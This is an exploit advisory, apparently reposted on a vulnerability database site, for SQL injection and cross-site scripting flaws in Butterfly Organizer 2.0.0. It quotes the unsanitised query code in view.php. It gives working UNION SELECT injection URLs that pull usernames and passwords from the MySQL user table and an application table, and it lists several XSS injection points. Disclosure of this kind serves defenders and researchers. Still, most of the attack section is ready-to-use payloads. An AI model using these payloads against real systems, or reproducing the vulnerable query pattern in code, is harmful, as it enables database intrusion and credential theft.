Butterfly Organizer 2.0.0 (SQL/XSS) Multiple Remote Vulnerabilities

2009-03-02 / 2009-03-03
Credit: CWH
Risk: High
Local: No
Remote: Yes
CWE: CWE-89

====================================================================== Butterfly Organizer 2.0.0 (SQL/XSS) Multiple Remote Vulnerabilities ====================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 13 June 2008 SITE : www.citec.us ##################################################### APPLICATION : Butterfly Organizer VERSION : 2.0.0 DOWNLOAD : www.butterflymedia.ro/downloads/organizer_2_0_0.zip ##################################################### +++ Remote SQL Injection Exploit +++ ---------------------------- Vulnerable Code [view.php] ---------------------------- @Line 26: $mytable = $_GET['mytable']; 27: $id = $_GET['id']; 28: 29: $result = mysql_query("SELECT * FROM ".$mytable." WHERE id=$id",$database); 30: $myrow = mysql_fetch_array($result); ---------- Exploit ---------- [+] http://[Target]/[Organizer_Path]/view.php?id=<SQL INJECTION>&mytable=test_category ------------- POC Exploit ------------- [+] http://192.168.24.25/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/mysql.user&mytable=test_category [+] http://192.168.24.25/organizer/view.php?id=-99999/**/UNION/**/SELECT/**/concat(username,0x3a,password),2,3,4,5,6,7,8,9,10/**/FROM/**/test_category&mytable=test_category +++ Remote XSS Exploit +++ ----------- Exploits ----------- [+] http://[Target]/[Organizer_Path]/view.php?id=1&mytable=<XSS> [+] http://[Target]/[Organizer_Path]/viewdb2.php?id=1&mytable=<XSS> [+] http://[Target]/[Organizer_Path]/category-rename.php?tablehere=<XSS> [+] http://[Target]/[Organizer_Path]/module-contacts.php?letter=<XSS> ################################################################## # Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos # ##################################################################

References:

http://www.milw0rm.com/exploits/7411
http://www.milw0rm.com/exploits/5797
http://secunia.com/advisories/33086


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top